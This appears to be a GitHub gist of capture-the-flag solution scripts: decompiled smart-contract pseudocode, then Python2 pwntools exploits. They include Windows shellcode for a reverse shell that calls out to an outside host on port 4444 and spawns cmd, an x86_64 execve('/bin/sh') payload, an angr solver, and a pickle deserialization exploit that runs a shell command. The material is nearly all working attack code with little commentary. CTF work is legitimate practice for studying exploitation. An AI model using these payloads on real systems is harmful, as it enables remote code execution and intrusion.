v100 = MEM[s1 + 0x3b..+0x20];
v101 = MEM[s1..+0x20];
s6 = (v100 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000;
if (v101 <= 0x1c) {
invalid;
}
v102 = MEM[s1 + 0x3c..+0x20];
v103 = MEM[s1..+0x20];
s7 = (v102 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000;
if (v103 <= 0x1d) {
invalid;
}
v104 = MEM[s1 + 0x3d..+0x20];
v105 = MEM[0x40..+0x20];
MEM[v105..+0x20] = s5 & 0xff00000000000000000000000000000000000000000000000000000000000000;
MEM[v105 + 1..+0x20] = s6 & 0xff00000000000000000000000000000000000000000000000000000000000000;
MEM[v105 + 2..+0x20] = s7 & 0xff00000000000000000000000000000000000000000000000000000000000000;
MEM[v105 + 3..+0x20] = ((v104 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000;
v106 = MEM[0x40..+0x20];
v107 = SHA3(MEM[v106..+(v105 + 4) - v106]);
s2 = v107;
fct_01dbd(0x1b48);
/*
for i := 0..flaglen-1:
flag[i] ^= 0x2a
*/
s3 = 0;
while (1) {
v108 = MEM[s1..+0x20];
if (s3 >= v108) {
break;
}
v109 = MEM[s1..+0x20];
s6 = s1;
s7 = s3;
s5 = msg.value * 0x100000000000000000000000000000000000000000000000000000000000000;
if (s3 >= v109) {
invalid;
}
v110 = MEM[s1 + s3 + 0x20..+0x20];
MEM[s6 + s7 + 0x20] = BYTE(0, (((v110 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) ^ s5) & 0xff00000000000000000000000000000000000000000000000000000000000000) & 0xff;
s3 += 1;
}
fct_01dbd(0x1c17);
v111 = MEM[0x40..+0x20];
MEM[v111..+0x20] = 0xd638577800000000000000000000000000000000000000000000000000000000;
MEM[v111 + 4..+0x20] = (v111 + 0x24) - (v111 + 4);
v112 = MEM[s1..+0x20];
MEM[v111 + 0x24..+0x20] = v112;
v113 = MEM[s1..+0x20];
s16 = 0;
while (s16 < v113) {
v114 = MEM[s1 + s16 + 0x20..+0x20];
MEM[v111 + s16 + 0x44..+0x20] = v114;
s16 += 0x20;
}
s10 = v113 + v111 + 0x44;
s11 = v113 & 0x1f;
if (v113 & 0x1f) {
v115 = MEM[s10 - s11..+0x20];
MEM[s10 - s11..+0x20] = ~(0x100**(0x20 - s11) - 1) & v115;
s10 = (s10 - s11) + 0x20;
}
v116 = MEM[0x40..+0x20];
s13 = address(this);
s10 -= v116;
if (!EXTCODESIZE(address(this))) {
revert();
}
v117 = CALL(msg.gas, s13, 0, v116, s10, v116, 0);
if (!v117) {
revert();
}
if (msg.value == 0x73686974636f696e) { // 'shitcoin'
invalid;
}
fct_01dbd(0x1d19);
MEM[0x21c..+4] = EXTCODE(msg.sender, 0x59, 4); // 't00l'
v118 = MEM[0x200..+0x20];
s4 = v118;
fct_01dbd(0x1d30);
v119 = MEM[0x40..+0x20];
MEM[v119..+0x20] = (s4 * 0x100000000000000000000000000000000000000000000000000000000) & 0xffffffff00000000000000000000000000000000000000000000000000000000;
v120 = MEM[0x40..+0x20];
v121 = SHA3(MEM[v120..+(v119 + 4) - v120]);
if ((v121 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) == (s2 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)) {
return; // to: s0
}
invalid;
}
#!/usr/bin/env python2
# https://github.com/niklasb/ctf-tools
from pwnlib.tools import *
connect()
vprotect = 0x77e41fe3 # no ASLR on ntdll, lul
loc = 0x12f524 # no ASLR on stack either, LUL WINDOWS IS HIGH
sc = r'''
sub esp, 0x2000
sub esp, 0x100
push esp
push 0x202
mov eax, 0x71c04f3b ; WSAStartup
call eax
push 0
push 0
push 0
push 6
push 1
push 2
mov eax, 0x71c11240 ; WSASocketA
call eax
mov edi, eax
push 0x8b33c780 ; kitctf.de
push word 0x5c11 ; 0x115c = port 4444
xor ebx, ebx
add bl, 2
push word bx
mov edx, esp
push 16
push edx
push edi
mov eax, 0x71c0446a
call eax ; connect(s1, (SOCKADDR*) &hax, sizeof(hax) = 16);
push 0x41414141
mov eax, esp
mov edx, 0x646d6363
shr edx, 8
push edx
mov ecx, esp
xor edx, edx
sub esp, 16
mov ebx, esp ; PROCESS_INFORMATION
push edi
push edi
push edi
push edx
push edx
xor eax, eax
inc eax
rol eax, 8
inc eax
push eax
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
xor eax, eax
add al, 44
push eax
mov eax, esp ; STARTUP_INFO
push ebx ; PROCESS_INFORMATION
push eax ; STARTUP_INFO
push edx
push edx
push edx
xor eax, eax
inc eax
push eax
push edx
push edx
push ecx
push edx
mov eax, 0x77e424a9 ; CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
call eax
push 0
push 4
push eax
push edi
mov eax, 0x71c02ec2
call eax
x:
jmp x
'''
sc = x86.assemble(sc)
assert len(sc) <= 200
payload = sc
payload += 'a'*(200-len(payload))
payload += p32(vprotect)
payload += p32(loc)
payload += p32(loc & ~0xfff)
payload += p32(0x1000)
payload += p32(0x40)
payload += p32(loc + 0x100)
send(payload)
leak = readn(4)
print repr(leak)
# interact()
#!/usr/bin/env python2
# https://github.com/niklasb/ctf-tools
from pwnlib.tools import *
sc = x86_64.assemble('''
push 0x40086d
ret''')
assert not '\n' in sc
print len(set(sc))
sc2 = x86_64.assemble("""
; dup2(1, 0)
push 1
pop rdi
push 0
pop rsi
push 33
pop rax
syscall
; shell
xor rdi, rdi
push rdi
push rdi
pop rsi
pop rdx
mov rdi, 0x68732f6e69622f2f
shr rdi, 8
push rdi
push rsp
pop rdi
push 0x3b
pop rax
syscall
""")
sc += '\n'+sc2+'\n'
connect()
send(sc)
time.sleep(1)
send('a'*0x300)
time.sleep(1)
send('a'*0x300)
enjoy()
#!/usr/bin/env python2
import angr, claripy, sys, base64, struct
from IPython import embed
from subprocess import Popen, PIPE
raw = open(sys.argv[1]).read()
p = angr.Project(sys.argv[1])
base = 0x400000
u32 = lambda x: struct.unpack("<I", x)[0]
def solve(offset):
exit = offset
while raw[exit] != '\xe8':
exit += 1
exit = (exit+5+u32(raw[exit+1:exit+5]))%2**32
end = offset
while raw[end] != '\xc3' or raw[end-4:end-1] != '\x48\x83\xc4':
end += 1
state = p.factory.blank_state(addr=base+offset,
add_options={angr.options.LAZY_SOLVES})
inp = state.regs.rdi
state.se.add(inp <= 0x7e)
state.se.add(inp >= 0x20)
sm = p.factory.simgr(state)
while sm.active:
sm.explore(find=base+end, avoid=base+exit)
assert len(sm.found) == 1
s = sm.found[0]
return s.se.eval(inp)
pattern = '\x48\x81\xec????\x48\x8d\x84\x24????\x48\x89\xbc\x24????\x48\x89\x84\x24????\xe8'
pattern2 = '\x48\x81\xec????\x48\x8d\x44\x24?\x48\x89\x7c\x24?\x48\x89\x44\x24?\xe8'
candidates = []
for start in range(0, 0x50000):
match1=True
for i in range(len(pattern)):
if raw[start+i] != pattern[i] and pattern[i] != '?':
match1=False
break
match2=True
for i in range(len(pattern2)):
if raw[start+i] != pattern2[i] and pattern2[i] != '?':
match2=False
break
if match1 or match2:
candidates.append(start)
print 'candidates = %d' % len(candidates)
assert len(candidates) == 1
start = candidates[0]
end = start
while raw[end] != '\xc3' or raw[end-7:end-4] != '\x48\x81\xc4':
end += 1
print 'checker @ %x - %x' % (start, end)
chain = []
for cur in range(start, end):
if raw[cur] == '\xe8' and (
raw[cur+5:cur+7]=='\x48\x8d' or
raw[cur+5:cur+7]=='\x48\xc7' or
raw[cur+5] == '\xb9'):
chain.append(cur)
continue
print 'chain length =', len(chain)
checkers = []
res = ''
for c in chain:
target = (c+5+u32(raw[c+1:c+5]))&0xffffffff
print hex(c)
assert raw[target:target+3] == '\x48\x83\xec', hex(target)
res += chr(solve(target))
print res
with open(sys.argv[1]+'.sol', 'w') as f:
f.write(res)
print base64.b64encode(res)
#!/usr/bin/env python2
# https://github.com/niklasb/ctf-tools
from pwnlib.tools import *
import cPickle
import os
import sys
import base64
COMMAND = 'cat /chal/flag.txt'
class PickleRce(object):
def __reduce__(self):
return (os.system,(COMMAND,))
payload = cPickle.dumps(PickleRce())
connect()
ru('n) ')
sendln('n')
ru('is: ')
uuid = ru('\n').strip()
print 'uuid = %s' % uuid
s2 = socket.create_connection((HOST, PORT))
ru(s2, 'n) ')
sendln(s2, 'y')
ru(s2, '?\n')
sendln(s2, uuid)
ru(s2, 'username: ')
sendln(s2, u'xxx')
ru(s2, 'choice: ')
sendln(s2, '0')
ru(s2, 'choice: ')
s1 = socket.create_connection((HOST, PORT))
ru(s1, 'n) ')
sendln(s1, 'y')
ru(s1, '?\n')
sendln(s1, uuid)
ru(s1, 'username: ')
sendln(s1, u'xxx')
ru(s1, 'choice: ')
sendln(s1, '1')
ru(s1, 'choice: ')
sendln(s1, '0')
ru(s1, 'name: ')
sendln(s1, 'xxx')
ru(s1, 'content: \n')
sendln(s1, payload + '\n\n')
sendln(s2, '1')
ru(s2, 'name: ')
sendln(s2, 'xxx')
interact(s2)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment